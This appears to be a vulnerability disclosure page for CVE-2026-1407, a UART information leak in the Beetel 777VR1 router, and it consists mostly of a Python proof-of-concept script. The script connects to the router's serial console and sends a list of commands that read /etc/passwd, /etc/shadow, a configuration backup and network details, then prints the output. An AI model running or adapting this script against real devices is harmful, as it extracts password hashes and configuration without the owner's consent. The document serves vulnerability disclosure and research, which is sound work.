CVE-2026-1407: Beetel 777VR1路由器UART接口信息泄露漏洞

# CVE-2026-1407 PoC - Beetel 777VR1 UART Information Disclosure # Hardware requirements: USB to TTL serial adapter, jumper wires import serial import time def connect_uart(port='/dev/ttyUSB0', baudrate=115200): """Connect to the device UART interface""" try: ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=5 ) return ser except Exception as e: print(f"Connection error: {e}") return None def extract_info(ser): """Extract sensitive information via UART""" commands = [ 'cat /etc/passwd', # Read password file 'cat /etc/shadow', # Read shadow file 'ifconfig', # Network configuration 'route -n', # Routing table 'cat /tmp/config.bin', # Configuration backup 'cat /proc/mtd', # Memory layout 'cat /proc/version', # System version 'df -h', # Filesystem info ] results = [] for cmd in commands: ser.write((cmd + '\n').encode()) time.sleep(1) response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') results.append(f"Command: {cmd}\n{response}") return results # Example usage if __name__ == '__main__': ser = connect_uart() if ser: print("Connected to Beetel 777VR1 UART") time.sleep(2) info = extract_info(ser) for item in info: print(item) ser.close()